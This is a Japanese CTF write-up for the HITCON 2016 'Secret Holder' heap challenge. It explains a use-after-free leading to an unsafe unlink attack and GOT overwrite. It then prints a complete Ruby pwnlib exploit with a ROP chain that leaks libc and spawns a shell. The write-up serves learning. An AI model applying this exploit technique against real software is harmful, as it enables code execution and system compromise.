  1. 3種類あるサイズから選んで1つmallocする
  2. 3種類あるサイズから選んで1つfreeする
  3. 3種類あるサイズから選んで1つ適切なサイズ分readする

(※サイズは,Smallが0x40, Bigが0x4000, Hugeが0x400000となっている.) それぞれのサイズで管理用大域変数があり,それで二回連続のmallocができないようになっている.

glibcmallocでは閾値以上のサイズのmallocをするとヒープ領域とは違うところにマッピングされるのだが,そこを解放し,再度mallocするとヒープ領域に確保されるという仕組みがある.今回でいえば,Hugeのmallocがこれに該当する.
また,mallocの戻り値を格納する大域変数はfree後にNULLにしていないところ,freeの際には管理用大域変数を見て判断していない点などからUAFに持ち込むことができる.

Exploit

UAFを用いてunsafe unlink attackにまずはもっていく.small用のヒープのアドレスがはいる大域変数より下にはbigやhugeのもあるので,small用のヒープのアドレスがはいるところをunlink attackで,small用のヒープが入る大域変数より小さいアドレスとかにできれば,readの処理の際にOverflowさせて,bigやhugeの指す先をGOTなどに書き換えることができる.そうすれば,bigやhugeに対しても同様にread操作を行うことでGOT Overwriteが可能となる.

以下にexploitを示す.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'

host = 'localhost'
port = 8888

def keep(t, id, msg)
  t.recv_until("Renew secret")
  t.sendline("1")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
  t.recv_until(": \n")
  t.sendline(msg)
end

def wipe(t, id)
  t.recv_until("Renew secret")
  t.sendline("2")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
end

def renew(t, id, msg)
  t.recv_until("Renew secret")
  t.sendline("3")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
  t.recv_until(": \n")
  t.send(msg)
end

PwnTube.open(host, port) do |t|

  small_ptr = 0x6020b0

  keep(t, 3, "")
  wipe(t, 3)
  keep(t, 1, "")
  wipe(t, 1)
  keep(t, 3, "") # huge == small
  wipe(t, 1)
  
  # P->fd->bk = P->bk
  # P->bk->fd = P->fd

  # small
  payload = "\x00" * 16
  payload << p64(small_ptr - 0x18) # fd
  payload << p64(small_ptr - 0x10) # bk

  # big
  payload << p64(0x20)
  payload << p64(0xfb0)
  payload << "\n"
  
  keep(t, 1, "")
  keep(t, 2, "")
  renew(t, 3, payload)
  wipe(t, 2) # small_ptr -> small_ptr - 0x18(big,huge,smallのポインタよりも8byte前)

  payload = "\x00" * 8     # padding
  payload << p64(0x602030) # memset@got -> read a lot
  payload << p64(0)
  payload << p64(0x602028) # __stack_chk_fail@got -> ret
  payload << p32(1) * 3

  renew(t, 1, payload + "\n")
  renew(t, 1, p64(0x400691)) # ret
  STDIN.gets
  renew(t, 2, p64(0x4009f9)) # read a lot

  pop_rdi = 0x400e03

  payload = "\x00" * 24
  payload <<  p64(pop_rdi)
  payload << p64(0x602048) # __libc_start_main@got
  payload << p64(0x4006c0) # puts@plt
  payload << p64(0x400cc2) # main

  t.recv_until("Renew secret\n")
  t.sendline(payload)

  libc_start_leak = t.recv(6).ljust(8, "\x00").unpack("Q")[0]
  libc_base = libc_start_leak - 0x20740
  libc_system = libc_base + 0x45390
  libc_binsh  = libc_base + 0x18c177
  
  payload = "\x00" * 24
  payload << p64(pop_rdi)
  payload << p64(libc_binsh)
  payload << p64(libc_system)

  t.recv_until("Renew secret\n")
  t.sendline(payload)

  t.shell
  
end

以下が結果である. f:id:encry1024:20170218112143p:plain

感想

閾値以上のサイズのmallocの戻り値をヒープ領域にするのは偶然見つけたのだが,free後にNULLが入っていないという基本的なことに気づかず,そこからの進展がなくて,writeupに頼った.久しぶりだったせいもあり,unlink attackがあいまいにしか理解してないことに気づいた.もうちょっと自分なりに復習して,しっかり理解しないといけないなぁという気分になった.

参考文献

https://gist.github.com/inaz2/732487ee170be9d8d2adf9cb50fe8d35

HITCON CTF Quals 2016 Writeup (Secret Holder & Babyheap) - ShiftCrops つれづれなる備忘録

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編 - ヾノ*>ㅅ<)ノシ帳